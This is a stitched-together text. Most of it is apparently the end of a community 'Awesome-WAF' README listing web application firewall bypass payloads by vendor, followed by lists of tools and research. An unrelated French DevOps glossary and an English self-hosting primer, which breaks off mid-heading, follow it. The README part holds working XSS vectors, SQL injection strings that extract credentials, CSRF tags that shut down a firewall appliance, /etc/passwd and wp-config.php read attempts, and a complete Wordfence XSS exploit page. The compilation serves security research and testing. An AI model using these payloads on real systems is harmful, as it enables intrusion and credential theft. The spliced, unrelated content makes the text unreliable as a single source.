%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
- XSS Bypass by @i_bo0om
<iframe/onload='this["src"]="javas	cript:al"+"ert``"';>
<img/src=q onerror='new Function`al\ert\`1\``'>
- XSS Bypass by @c0d3g33k
<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
- SQLi Bypass by @DRK1WI
15 and '1'=(SELECT '1' FROM dual) and '0having'='0having'
- SQLi by @Giuseppe D'Amore
stringindatasetchoosen%%' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%%dministrator' and rownum<=1 and PASSWORD like '0%') and '1%%'='1
Kona SiteDefender
%3Cmarquee%20loop=1%20width=%271%26apos;%27onfinish=self[`al`+`ert`](1)%3E%23leet%3C/marquee%3E
asd"on+<>+onpointerenter%3d"x%3dconfirm,x(cookie)
%2522%253E%253Csvg%2520height%3D%2522100%2522%2520width%3D%2522100%2522%253E%2520%253Ccircle%2520cx%3D%252250%2522%2520cy%3D%252250%2522%2520r%3D%252240%2522%2520stroke%3D%2522black%2522%2520stroke-width%3D%25223%2522%2520fill%3D%2522red%2522%2520%2F%253E%2520%253C%2Fsvg%253E
<body%20alt=al%20lang=ert%20onmouseenter="top['al'+lang](/PoC%20XSS%20Bypass%20by%20Jonathan%20Bouman/)"
?"></script><base%20c%3D=href%3Dhttps:\mysite>
- XSS Bypass by @0xInfection
<abc/onmouseenter=confirm%60%60>
%2522%253E%253C%2Fdiv%253E%253C%2Fdiv%253E%253Cbrute%2520onbeforescriptexecute%3D%2527confirm%28document.domain%29%2527%253E
<style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}`>
<marquee+loop=1+width=0+onfinish='new+Function`al\ert\`1\``'>
Profense
- GET Type CSRF Attack by @Michael Brooks (>= v.2.6.2)
Turn off Proface Machine
<img src=https://host:2000/ajax.html?action=shutdown>
Add a proxy
<img src=https://10.1.1.199:2000/ajax.html?vhost_proto=http&vhost=vhost.com&vhost_port=80&rhost_proto=http&rhost=10.1.1.1&rhost_port=80&mode_pass=on&xmle=on&enable_file_upload=on&static_passthrough=on&action=add&do=save>
- XSS Bypass by @Michael Brooks (>= v.2.6.2)
https://host:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>"<script>alert(document.cookie)</script>
- XSS Bypass by @EnableSecurity (>= v2.4)
%3CEvil%20script%20goes%20here%3E=%0AByPass
%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E
QuickDefense
- XSS Bypass by @WAFNinja
?<input type="search" onsearch="aler\u0074(1)">
<details ontoggle=alert(1)>
Sucuri
<a href=javascript:confirm(1)>
/???/??t+/???/??ss??
;+cat+/e'tc/pass'wd
c\\a\\t+/et\\c/pas\\swd
- XSS Bypass by @Luka
"><input/onauxclick="[1].map(prompt)">
data:text/html,<form action=https://brutelogic.com.br/xss-cp.php method=post>
<input type=hidden name=a value="<img/src=//knoxss.me/yt.jpg onpointerenter=alert`1`>">
<input type=submit></form>
StackPath
<object/data=javascript:alert()>
<a/href="javascript%0A%0D:alert()>clickme
URLScan
- Directory Traversal by @ZeQ3uL (<= v3.1) (Only on ASP.NET)
http://host.com/test.asp?file=.%./bla.txt
WebARX
- Cross Site Scripting by @0xInfection
<a69/onauxclick=open()>rightclickhere
-
Bypassing All Protections Using A Whitelist String by @Osanda Malith
- XSS PoC
http://host.com/?vulnparam=<script>alert()</script>&ithemes-sync-request- LFI PoC
http://host.com/?vulnparam=../../../../../etc/passwd&ithemes-sync-request- SQLi PoC
http://host.com/?vulnparam=1%20unionselect%20@@version,2--&ithemes-sync-request
WebKnight
- Cross Site Scripting by @WAFNinja
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<img src=x onwheel=prompt(1)>
- SQLi by @WAFNinja
0 union(select 1,username,password from(users))
0 union(select 1,@@hostname,@@datadir)
- XSS Bypass by @Aatif Khan (v4.1)
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)
Wordfence
- XSS Bypass by @brute Logic
<a href=javascript:alert(1)>
<a href=javascript:alert(1)>
- XSS Bypass by @0xInfection
<a/**/href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:/**/alert()/**/>click
http://host/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
- XSS Exploit by @MustLive (>= v3.3.5)
<html>
<head>
<title>Wordfence Security XSS exploit (C) 2012 MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/?_wfsf=unlockEmail" method="post">
<input type="hidden" name="email"
value="<script>alert(document.cookie)</script>">
</form>
</body>
</html>
<meter onmouseover="alert(1)"
'">><div><meter onmouseover="alert(1)"</div>"
>><marquee loop=1 width=0 onfinish=alert(1)>
Apache Generic
- Writing method type in lowercase by @i_bo0om
get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
IIS Generic
- Tabs before method by @i_bo0om
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Awesome Tools
Fingerprinting:
- WAFW00F - The ultimate WAF fingerprinting tool with the largest fingerprint database from @EnableSecurity.
- IdentYwaf - A blind WAF detection tool which utlises a unique method of identifying WAFs based upon previously collected fingerprints by @stamparm.
Testing:
- GoTestWAF - A tool to test a WAF's detection logic and bypasses from @wallarm.
- Lightbulb Framework - A WAF testing suite written in Python.
- WAFBench - A WAF performance testing suite by Microsoft.
- WAF Testing Framework - A WAF testing tool by Imperva.
- Framework for Testing WAFs (FTW) - A framework by the OWASP CRS team that helps to provide rigorous tests for WAF rules by using the OWASP Core Ruleset V3 as a baseline.
Evasion:
- WAFNinja - A smart tool which fuzzes and can suggest bypasses for a given WAF by @khalilbijjou.
- WAFTester - Another tool which can obfuscate payloads to bypass WAFs by @Raz0r.
-
libinjection-fuzzer - A fuzzer intended for finding
libinjectionbypasses but can be probably used universally. - bypass-firewalls-by-DNS-history - A tool which searches for old DNS records for finding actual site behind the WAF.
- abuse-ssl-bypass-waf - A tool which finds out supported SSL/TLS ciphers and helps in evading WAFs.
- SQLMap Tamper Scripts - Tamper scripts in SQLMap obfuscate payloads which might evade some WAFs.
- Bypass WAF BurpSuite Plugin - A plugin for Burp Suite which adds some request headers so that the requests seem from the internal network.
- enumXFF - Eumerating IPs in X-Forwarded-Headers to bypass 403 restrictions
- WAF Bypass Tool - WAF bypass Tool from Nemesida is an open source tool to analyze the security of any WAF for False Positives and False Negatives using predefined and customizable payloads.
Management:
- AWS Firewall Factory - Deploy, update, and stage your WAFs while managing them centrally via FMS.
Blogs and Writeups
Many of the content mentioned above have been taken from some of the following excellent writeups.
- Web Application Firewall (WAF) Evasion Techniques #1 - By @Secjuice.
- Web Application Firewall (WAF) Evasion Techniques #2 - By @Secjuice.
- Web Application Firewall (WAF) Evasion Techniques #3 - By @Secjuice.
- How To Exploit PHP Remotely To Bypass Filters & WAF Rules- By @Secjuice
- ModSecurity SQL Injection Challenge: Lessons Learned - By @SpiderLabs.
- XXE that can Bypass WAF - By @WallArm.
- SQL Injection Bypassing WAF - By @OWASP.
- How To Reverse Engineer A Web Application Firewall Using Regular Expression Reversing - By @SunnyHoi.
- Bypassing Web-Application Firewalls by abusing SSL/TLS - By @0x09AL.
- Request Encoding to Bypass WAFs - By @Soroush Dalili
Video Presentations
- WAF Bypass Techniques Using HTTP Standard and Web Servers Behavior from @OWASP.
- Confessions of a WAF Developer: Protocol-Level Evasion of Web App Firewalls from BlackHat USA 12.
- Web Application Firewall - Analysis of Detection Logic from BlackHat.
- Bypassing Browser Security Policies for Fun & Profit from BlackHat.
- Web Application Firewall Bypassing from Positive Technologies.
- Fingerprinting Filter Rules of Web Application Firewalls - Side Channeling Attacks from @UseNix.
- Evading Deep Inspection Systems for Fun and Shell from BlackHat US 13.
- Bypass OWASP CRS && CWAF (WAF Rule Testing - Unrestricted File Upload) from Fools of Security.
- WAFs FTW! A modern devops approach to security testing your WAF from AppSec USA 17.
- Web Application Firewall Bypassing WorkShop from OWASP.
- Bypassing Modern WAF's Exemplified At XSS by Rafay Baloch from Rafay Bloch.
- WTF - WAF Testing Framework from AppSecUSA 13.
- The Death of a Web App Firewall from Brian McHenry.
- Adventures with the WAF from BSides Manchester.
- Bypassing Intrusion Detection Systems from BlackHat.
- Building Your Own WAF as a Service and Forgetting about False Positives from Auscert.
Presentations & Research Papers
Research Papers:
- Protocol Level WAF Evasion - A protocol level WAF evasion techniques and analysis by Qualys.
- Neural Network based WAF for SQLi - A paper about building a neural network based WAF for detecting SQLi attacks.
- Bypassing Web Application Firewalls with HTTP Parameter Pollution - A research paper from Exploit DB about effectively bypassing WAFs via HTTP Parameter Pollution.
- Poking A Hole in the Firewall - A paper by Rafay Baloch about modern firewall analysis.
- Modern WAF Fingerprinting and XSS Filter Bypass - A paper by Rafay Baloch about WAF fingerprinting and bypassing XSS filters.
- WAF Evasion Testing - A WAF evasion testing guide from SANS.
- Side Channel Attacks for Fingerprinting WAF Filter Rules - A paper about how side channel attacks can be utilised to fingerprint firewall filter rules from UseNix Woot'12.
- WASC WAF Evaluation Criteria - A guide for WAF Evaluation from Web Application Security Consortium.
- WAF Evaluation and Analysis - A paper about WAF evaluation and analysis of 2 most used WAFs (ModSecurity & WebKnight) from University of Amsterdam.
- Bypassing all WAF XSS Filters - A paper about bypassing all XSS filter rules and evading WAFs for XSS.
- Beyond SQLi - Obfuscate and Bypass WAFs - A research paper from Exploit Database about obfuscating SQL injection queries to effectively bypass WAFs.
- Bypassing WAF XSS Detection Mechanisms - A research paper about bypassing XSS detection mechanisms in WAFs.
Presentations:
- Methods to Bypass a Web Application Firewall - A presentation from PT Security about bypassing WAF filters and evasion.
- Web Application Firewall Bypassing (How to Defeat the Blue Team) - A presentation about bypassing WAF filtering and ruleset fuzzing for evasion by @OWASP.
- WAF Profiling & Evasion Techniques - A WAF testing and evasion guide from OWASP.
- Protocol Level WAF Evasion Techniques - A presentation at about efficiently evading WAFs at protocol level from BlackHat US 12.
- Analysing Attacking Detection Logic Mechanisms - A presentation about WAF logic applied to detecting attacks from BlackHat US 16.
- WAF Bypasses and PHP Exploits - A presentation about evading WAFs and developing related PHP exploits.
- Side Channel Attacks for Fingerprinting WAF Filter Rules - A presentation about how side channel attacks can be utilised to fingerprint firewall filter rules from UseNix Woot'12.
- Our Favorite XSS Filters/IDS and how to Attack Them - A presentation about how to evade XSS filters set by WAF rules from BlackHat USA 09.
- Playing Around with WAFs - A small presentation about WAF profiling and playing around with them from Defcon 16.
- A Forgotten HTTP Invisibility Cloak - A presentation about techniques that can be used to bypass common WAFs from BSides Manchester.
- Building Your Own WAF as a Service and Forgetting about False Positives - A presentation about how to build a hybrid mode waf that can work both in an out-of-band manner as well as inline to reduce false positives and latency Auscert2019.
Credits & License:
Initial fingerprint compilation and bypasses were put together by Pinaki (0xInfection), but now it largely remains as a community supported repository. Awesome-WAF is licensed under the Apache 2.0 License.
Glossaire DevOps
Agile
Un framework agile une structure méthodologique qui fournit des lignes directrices, des pratiques, et des processus pour aider les équipes à organiser, planifier, exécuter et suivre leur travail de manière itérative et collaborative. Ce développement itératif découpe un projet en sous-projets pour lesquels, on se fixe des objectifs à court termes atteignables. Ces sous-projets sont appelés des sprints et sont de courtes durées.
Le but d’un framework agile est de livrer rapidement au client une première version du produit qui correspond à ses besoins, qui évoluera ensuite au fil des versions.
Framework agiles : Scrum, eXtrem Programming, …
Air Gap
“Air Gap” (littéralement « coupure d’air ») est une mesure de sécurité dans laquelle un ordinateur ou un réseau est isolé physiquement de tout autre réseau, y compris Internet. Cette isolation est souvent réalisée en s’assurant qu’aucune connexion physique ou sans fil ne relie l’ordinateur ou le réseau en question à des systèmes externes. L’idée est de protéger les données et les systèmes contre les accès non autorisés, les cyberattaques et les logiciels malveillants en éliminant toute voie d’accès directe.
Artefacts
Les artefacts sont des éléments générés lors du processus d’intégration continue à partir d’un code source. Il peut être composé de bibliothèques, de fichiers de configuration, d’exécutables, de fichiers de documentation, etc.
Adresse IP
Les adresses IP sont des identifiants numériques attribués aux dispositifs connectés à un réseau, leur permettant de communiquer entre eux sur Internet ou au sein d’un réseau local.
API
Une API, ou Interface de Programmation d’Applications (Application Programming Interface), est un ensemble de règles et de protocoles pour la construction et l’interaction de logiciels. Elle permet à différents programmes ou composants logiciels de communiquer entre eux. Une API définit la manière dont les fonctions d’un programme peuvent être utilisées par d’autres programmes, facilitant ainsi leur intégration et leur interaction sans avoir besoin de connaître les détails de leur mise en œuvre interne. Cela rend les processus de développement plus rapides et plus flexibles, permettant aux développeurs de créer des applications complexes et interconnectées.
Automatisation
Fonctionnement d’un système sans intervention humaine, automatisation d’une suite d’opération. Elle peut être faîte via l’utilisation de scripts et/ou d’outils qui vont permettre de réduire la charge de travail manuelle et accélérer les tâches répétitives. Autre avantage, elle limite la part des incidents dus à des erreurs humaines.
Build
Le build est la phase appelée aussi intégration. Elle consiste à assembler le code des développeurs avec toutes ses dépendances afin de fournir un livrable de l’application. Dans cette phase, on retrouve, l’analyse du code (lint), les tests unitaires et la compilation.
CaaS
CaaS, ou Container as a Service, est un modèle de service cloud qui permet aux utilisateurs de télécharger, organiser, exécuter, échelonner, gérer et arrêter des conteneurs en utilisant une plateforme d’hébergement basée sur le cloud.
Campagne de patchs
Une campagne de patch est un processus visant à appliquer des correctifs (patches) améliorant la sécurité et la stabilité à un ensemble de systèmes, de logiciels ou d’infrastructures informatiques de manière coordonnée. Ces correctifs sont conçus pour résoudre des failles de sécurité, des bogues ou pour améliorer les performances d’un logiciel ou d’un système.
CI/CD
CI/CD (Continuous Integration / Continuous Deployment) : Pratiques visant à automatiser le processus d’intégration, de test et de déploiement pour livrer rapidement et régulièrement des mises à jour logicielles.
CLI
Une CLI, ou Command Line Interface (Interface en Ligne de Commande), est une interface utilisateur qui permet aux utilisateurs d’interagir avec un logiciel ou un système d’exploitation en tapant des commandes textuelles dans un terminal ou une console.
Cloud
Le cloud fait référence à la fourniture de services informatiques tels que le stockage, le calcul, les bases de données, la mise en réseau, l’analyse, etc., via Internet. Plutôt que de posséder et de gérer physiquement des serveurs et des infrastructures informatiques, les entreprises et les individus peuvent accéder à ces ressources à partir de serveurs distants exploités par des fournisseurs de cloud publics.
Cloud Hybride
Un cloud hybride est un environnement informatique qui combine à la fois des ressources de cloud public et de cloud privé, permettant aux données et aux applications de s’exécuter de manière transparente entre les deux. Concrètement, cela signifie que les entreprises peuvent déployer des applications et des données à la fois sur des serveurs et des infrastructures internes (cloud privé) et sur des ressources de cloud public, le tout dans un environnement cohérent.
Cluster
Un cluster est un groupe de machines (nœuds) interconnectées qui travaillent ensemble pour exécuter des applications conteneurisées. Dans le cadre de Kubernetes, un cluster est constitué d’un plan de contrôle (control plane) et de plusieurs nœuds de travail. Les clusters offrent une haute disponibilité et une scalabilité en répartissant les charges de travail sur plusieurs machines.
CMP
Une CMP (Cloud Management Platform) désigne une plateforme logicielle conçue pour gérer et orchestrer les ressources, services et opérations dans un environnement cloud.
Conteneurs / Conteneurisation
Un conteneur est une unité d’exécution autonome qui regroupe une application, ses dépendances logicielles et toutes les ressources nécessaires à son exécution, y compris des bibliothèques, des fichiers de configuration et des variables d’environnement. Les conteneurs sont conçus pour isoler une application et son environnement de manière à ce qu’elle puisse être déployée et exécutée de manière cohérente. Cette technologie permet de porter une application sur n’importe quel serveur, local ou dans le cloud, à la seule condition de posséder la même architecture et la même famille de système d’exploitation.
CRD (Custom Resource Definition)
Une CRD permet de définir des ressources personnalisées dans Kubernetes. Cela permet aux utilisateurs d’étendre les fonctionnalités de Kubernetes en ajoutant de nouveaux types d’objets spécifiques à leurs besoins.
Déclaratif vs Impératif
Dans une approche déclarative, le code de configuration décrit l’état dans lequel l’environnement de production doit se trouver, sans prendre en compte les étapes pour y arriver. Le système fait en sorte que l’infrastructure atteigne l’état désiré.
Dans une approche impérative, le fichier de configuration définit les commandes et les étapes nécessaires pour que l’environnement parvienne à l’état désiré. Le système réalise les commandes indiquées. Exemple : Ansible
Déploiement Blue-Green
Une méthode de déploiement qui permet de basculer en douceur entre deux environnements (bleu et vert) pour minimiser les interruptions de service.
Déploiement Continu
Déploiement ou livraison continue est une méthode de développement de logiciels dans le cadre de laquelle les modifications de code sont automatiquement préparées en vue de leur publication dans un environnement de production. La livraison continue étend le principe de l’intégration continue en déployant tous les changements de code dans un environnement de test et/ou de production après l’étape de création. Lorsque la livraison continue est correctement implémentée, les développeurs disposent en permanence d’un artefact de génération prêt pour le déploiement qui a été soumis avec succès à un processus de test standardisé.
Dette Technique
La dette technique est une métaphore utilisée pour décrire le coût caché associé au retard ou à la négligence des bonnes pratiques de développement, de maintenance et de gestion des systèmes informatiques. Cela se produit lorsque des raccourcis, des compromis ou des décisions techniques inadéquates sont pris pour accélérer le développement d’un logiciel ou pour répondre à des échéances serrées. La dette technique est le reflet des conséquences négatives de ces choix à long terme.
DevSecOps
Intégration de la sécurité dans les pipelines CI/CD dès le début du développement.
Edge Computing
Le Edge Computing est une architecture informatique décentralisée qui rapproche les ressources de calcul et de traitement des données des périphériques ou des utilisateurs finaux. Cette approche est couramment utilisée pour réduire la latence et la consommation de bande passante dans des environnements distribués comme l’IoT ou les systèmes connectés.
Élasticité
L’élasticité est la capacité d’un système informatique d’ajuster dynamiquement les ressources (comme la puissance de calcul, la mémoire, le stockage, etc.) en fonction de la demande des utilisateurs.
Élévation de privilèges
L’élévation de privilèges (ou privilege escalation en anglais) fait référence au processus par lequel un utilisateur ou un processus tente d’acquérir des privilèges ou des autorisations supplémentaires au sein d’un système informatique, lui permettant ainsi d’exécuter des actions pour lesquelles il n’avait pas initialement les droits.
L’élévation de privilèges est également un sujet important dans le domaine de la sécurité informatique, car les vulnérabilités qui permettent une élévation de privilèges peuvent être exploitées pour compromettre la sécurité d’un système. Les correctifs de sécurité sont souvent publiés pour corriger de telles vulnérabilités et empêcher les attaquants d’acquérir des privilèges non autorisés.
Gestion des configurations
La gestion de configuration est un concept fondamental dans l’administration des systèmes et des infrastructures informatiques. Elle englobe l’ensemble des processus et des outils utilisés pour définir, mettre en place, surveiller et maintenir les configurations, qu’il s’agisse de serveurs, de postes de travail, de logiciels ou d’équipements réseaux.
Gestionnaire de Contrôle de version
Un gestionnaire de contrôle de version, également appelé logiciel de gestion de version ou système de contrôle de version (VCS), est un outil informatique qui permet de suivre et de gérer les modifications apportées à un ensemble de fichiers au fil du temps. Son principal objectif est de faciliter la collaboration entre plusieurs personnes travaillant sur un même projet informatique, que ce soit un logiciel, un site web, une documentation. Le plus utilisé actuellement s’appelle Git.
Gestion des secrets
La gestion des secrets désigne la pratique permettant de gérer de manière sécurisée les informations sensibles, telles que les mots de passe, les clés d’authentification, les jetons d’accès, les clés de chiffrement et d’autres données confidentielles, utilisées dans les applications, les systèmes et les infrastructures informatiques.
Cette pratique est essentielle pour garantir la sécurité des systèmes d’informations, car toute faille dans la protection de ces données pourrait entraîner des violations de sécurité, des accès non autorisés, des pertes de données…
Haute Disponibilité
La haute disponibilité (HA) est un concept en informatique qui se réfère à la capacité d’un système, d’une application ou d’un service à rester opérationnel et accessible pendant une période de temps prolongée, généralement 24 heures sur 24 et 7 jours sur 7. L’objectif de la haute disponibilité est de minimiser les temps d’arrêt non planifiés, d’assurer la continuité des opérations et de garantir que les utilisateurs finaux puissent accéder aux ressources informatiques sans interruption notable.
Pour atteindre un haut niveau de disponibilité, les organisations mettent en place des architectures redondantes, des clusters, des systèmes de basculement et des tests rigoureux de continuité des opérations. Cela garantit que les systèmes restent opérationnels même en cas de défaillance matérielle, de coupures d’électricité, de catastrophes naturelles ou de cyberattaques.
Helm
Helm est un gestionnaire de packages pour Kubernetes. Il permet de simplifier l’installation, la gestion et la mise à jour des applications Kubernetes en utilisant des charts (modèles de déploiement). Helm est particulièrement utile pour déployer des applications complexes avec des dépendances multiples.
IAAS
IaaS est l’acronyme de “Infrastructure as a Service”, qui se traduit en français par “Infrastructure en tant que Service”. Il s’agit d’un modèle de cloud qui aux utilisateurs de provisionner des ressources d’infrastructures informatiques sous forme de services.
Idempotence
En algèbre, l’idempotence est la propriété d’une opération, d’avoir le même effet qu’on l’applique une ou plusieurs fois. Par exemple, la valeur absolue est idempotente : abs(abs(−5)) = abs(−5), les deux membres étant égaux à 5.
En programmation une fonction est idempotente si l’état du système reste le même après un ou plusieurs appels.
Infrastructure as Code
L’infrastructure en tant que code (Infrastructure as Code) est une infrastructure informatique virtuelle qui est créée, configurée et approvisionnée automatiquement via du code informatique.
Intégration Continue
CI ou intégration continue est une méthode de développement avec laquelle les développeurs intègrent régulièrement leurs modifications de code à un référentiel centralisé, suite à quoi des opérations de création et de tests sont automatiquement menés. L’intégration continue désigne souvent l’étape de création ou d’intégration du processus de publication de logiciel et implique un aspect automatisé. Les principaux objectifs de l’intégration continue sont de trouver et de corriger plus rapidement les bogues, d’améliorer la qualité des logiciels et de réduire le temps nécessaire pour valider et publier de nouvelles mises à jour de logiciels.
IPAM
IPAM, acronyme de “IP Address Management” (Gestion des adresses IP en français), est un ensemble de pratiques, de techniques et d’outils utilisés pour planifier, gérer et suivre les adresses IP (Internet Protocol) au sein d’un réseau informatique.
Load balancing ou équilibrage de charge
Un équilibrage de charge, en anglais “load balancer”, est un composant matériel ou logiciel utilisé dans les environnements informatiques pour distribuer le trafic réseau entrant de manière équilibrée entre plusieurs serveurs ou ressources, afin d’optimiser les performances, la fiabilité et la disponibilité des systèmes.
Microservices vs Monolithe
Une architecture microservices est une architecture logicielle basée sur de petits services autonomes qui peuvent être développés, déployés et évolués indépendamment. Cette architecture s’appuie sur des orchestrateurs de conteneurs.
Un monolithe est une architecture logicielle où l’ensemble de l’application est conçu et construit comme une seule entité monolithique. Cela signifie que toutes les fonctionnalités, les composants et les parties de l’application sont regroupés en un seul code source, une seule base de données et un seul exécutable.
Mutabilité vs Immutabilité
Immutabilité : Caractère de ce qui ne peut changer.
Une infrastructure mutable est un système qui évolue de manière incrémentale et donc mise à jour de manière continue. L’état de l’infrastructure est le résultat d’une accumulation d’opérations pouvant être pour certaines manuelles.
Par contre, une infrastructure immutable est un système qui n’est jamais modifié après son déploiement. Ce système devra en conséquence avoir le moins de mutation possible, voire aucune.
Par exemple, pour construire des images de VM immutables, vous pouvez utiliser Packer d’HashiCorp pour ensuite les enregistrer en les versionnant dans votre gestionnaire d’Artéfacts.
NOC
Un NOC (Network Operations Center) est un centre opérationnel chargé de surveiller, gérer et maintenir un réseau informatique ou de télécommunications. Les équipes du NOC supervisent les performances du réseau, détectent et résolvent les problèmes et effectuent la maintenance préventive pour assurer le bon fonctionnement continu du réseau.
Observabilité
L’observabilité est la capacité de surveiller, d’analyser et de comprendre l’état interne d’un système informatique en temps réel. Elle repose sur trois piliers principaux : les logs, les métriques et les traces. Des outils comme Prometheus et Grafana sont souvent utilisés pour l’observabilité.
Orchestration
L’orchestration est un processus automatique de gestion d’un système informatique.
RPO
Recovery Point Objective (RPO) fait généralement référence à la quantité de données qui peuvent être perdues au cours de la période la plus opportune pour une entreprise, avant qu’un préjudice important ne se produise, à partir d’un événement critique jusqu’à la sauvegarde la plus précédente.
RTO
Recovery Time Objective (RTO) fait référence au temps pendant lequel une application, un système et/ou un processus peut être en panne sans causer de dommages importants à l’entreprise, ainsi qu’au temps passé à restaurer l’application et ses données.
PAAS
PaaS, ou “Platform as a Service” en anglais, se traduit en français par “Plateforme en tant que Service”. C’est un modèle de cloud qui fournit une plateforme de développement et d’exécution d’applications sur le cloud. Ces services vont permettre aux développeurs de créer, déployer et gérer des applications sans se soucier de la gestion de l’infrastructure sous-jacente.
Provisioning ou Provisionnement
Le provisioning est un processus d’allocation automatique de ressources informatiques.
SAAS
SaaS, ou “Software as a Service” en anglais, se traduit en français “logiciel en tant que service”. C’est un modèle de distribution de logiciels dans lequel les applications sont hébergées et accessibles en ligne par le biais d’un fournisseur de services cloud. Au lieu d’installer et de gérer des logiciels localement sur un ordinateur ou un serveur, les utilisateurs peuvent accéder à ces applications via Internet, généralement à partir d’un navigateur web.
Scrum
Un framework de gestion de projet Agile.
Serverless
Le Serverless est un modèle de déploiement dans lequel les développeurs n’ont pas à gérer l’infrastructure sous-jacente. Les fournisseurs cloud allouent dynamiquement les ressources nécessaires à l’exécution d’une application. Les exemples incluent AWS Lambda, Google Cloud Functions, et Azure Functions.
Service Mesh
Un Service Mesh est une infrastructure dédiée à la gestion des communications entre microservices. Il fournit des fonctionnalités comme le load balancing, la gestion des échecs, le monitoring, et la sécurisation des connexions via des proxies. Les outils populaires incluent Istio et Linkerd.
SLA/SLO/SLI
- SLA (Service Level Agreement) : Contrat définissant les attentes en termes de niveaux de service.
- SLO (Service Level Objective) : Objectifs précis liés aux niveaux de performance d’un service (ex. : disponibilité à 99,9 %).
- SLI (Service Level Indicator) : Indicateur qui mesure un aspect de la performance, comme le temps de réponse ou le taux d’erreur.
SOC
Un SOC (Security Operations Center) est similaire, mais se concentre spécifiquement sur la sécurité informatique. Les équipes d’un SOC surveillent les menaces potentielles, détectent les activités suspectes, répondent aux incidents de sécurité et mettent en œuvre des mesures de défense pour protéger les systèmes informatiques et les données contre les cyberattaques.
Supervision
La supervision est un processus de surveillance et de gestion des systèmes informatiques, des réseaux, des serveurs, des applications et d’autres composants de l’infrastructure informatique. Elle vise à garantir que ces systèmes fonctionnent de manière fiable, sécurisée et efficace. La supervision informatique peut être effectuée à l’aide de logiciels spécialisés qui collectent des données en temps réel sur les performances et l’état des équipements informatiques.
Virtualisation
La virtualisation est une technologie qui permet de créer des versions virtuelles de tous éléments d’une infrastructure informatique comme des serveurs, des équipements réseaux ou d’autres entités informatiques. Elle vise à isoler et à abstraire ces éléments pour les rendre indépendants des ressources physiques sous-jacentes, ce qui permet une utilisation plus efficace et flexible de ces ressources.
Elle est couramment utilisée dans des domaines tels que la virtualisation de serveur, la virtualisation de stockage, la virtualisation de réseau, la virtualisation de bureau et plus encore.
Vulnérabilité
Une vulnérabilité est une faiblesse du code qui introduit ce qu’on appelle une faille de sécurité. Ces failles peuvent être présentes dans un système d’exploitation, un logiciel, un équipement de réseau ou un processus. Elles peuvent être exploitées par des acteurs malveillants pour causer un dommage, un accès non autorisé, des pertes de données, ou d’autres problèmes de sécurité.
Pour détecter la présence des vulnérabilités, on fait appel à des outils d’analyse de code et de détection.
What Is Self-Hosting?
The act of providing or serving digital content or an online service typically delivered by a business.
The service or content is generally served locally from your own hardware. Often "self-hosters" use older Enterprise-grade hardware from their home internet connections however they also use other hosting providers hardware. This is still considered self-hosting.
One of the easiest things to self-host with the lowest barrier to entry is a website. For the most basic website of your own, all you need is a domain name and a webserver. Then you throw a few lines of HTML in a file and you have yourself a "website". With a service like Let's Encrypt, securing the site with a SSL certificate is easy too.
A lot of different services that you can self-host are "websites". There are dynamic sites with robust content management systems like Joomla!, Drupal, WordPress, or b2evolution. There are forums like phpBB, MyBB, vBulletin, Discourse, etc. Knowledge bases like DokuWiki, MediaWiki, BookStack, or Gollum are also websites. These websites only require a webserver, an interpreter (PHP), and a database (SQLite, PostgreSQL, MySQL).
Just about everything these days has a web UI or frontend to make things easier. HTTP/HTML/JS are well-understood standards that are ubiquitous. There are many libraries for converting or presenting your content in a web-friendly way for almost all programming languages you can learn.
It can be hard for someone unfamiliar to find the difference between the "website" frontend and the content backend. Sometimes the difference is almost non-existent. Sometimes there are many layers and systems working behind the scenes to make it happen.
It may be better to say that everything can be "accessed" through a website, even if it isn't one per-se. And if it can't, there's probably a separate piece of software that makes a web UI for it.
Examples of services with a web UI or separate web-based frontends are: BitTorrent clients like qBittorrent/Transmission, media streaming servers like Jellyfin/Navidrome, file synchronization services like Nextcloud/ownCloud/Seafile, communication services like Synapse/InspIRCd/jabberd/Mumble, and many more.
Other services use the server-client model where the entire package is in two parts. The server part that runs at all time to serve content and the client part that connects to have content served to it. Examples are: game servers like Rust/Minecraft/Factorio, FTP servers, email servers, and more.
Common Terms and Concepts of Selfhosting
Servers
Servers are machines whose purpose is to provide a service or content over a network. They are typically administered remotely and only connect physically to power and a network. They "serve" content or services using software daemons. Bare metal servers are not virtualized. Any service or content they offer is configured on the host system. They are not new per-se, but with the introduction of containerization and virtualization, the phrase has been coined to differentiate the old-school server tradition from newer techniques. Their natural habitat is the datacenter, where they live in racks to survive off electricity and network data. While they are not able to reproduce, they have no natural predators, so their population is stable. Some breeds of server can be found in network/data closets where they live in a business. Fewer are still kept in captivity in private homes. Virtual servers are servers that are run under an emulator or hypervisor to provide a server-like environment using a software envelope which may be augmented with hardware support.
Daemons
Daemons are software packages that run perpetually to provide content or a service. They differentiate servers from clients. Examples of daemons are webservers, email servers, file servers, authentication services (AD, LDAP), database servers, and many more.
Webservers
Webservers are daemons that accept HTTP requests and serve set content based on the requested host (IP address or domain name). The content can be static HTML/XML or it can be dynamic (JavaScript, PHP, FCGI, WSGI). Webservers commonly offer reverse proxy functionality, it is common to use webservers for this purpose instead. Common webservers include: Apache, Cherokee, LiteSpeed, Lighttpd, nginx, and IIS. Apache and nginx are the top webservers by market share respectively, with IIS coming in third.
Domain Names
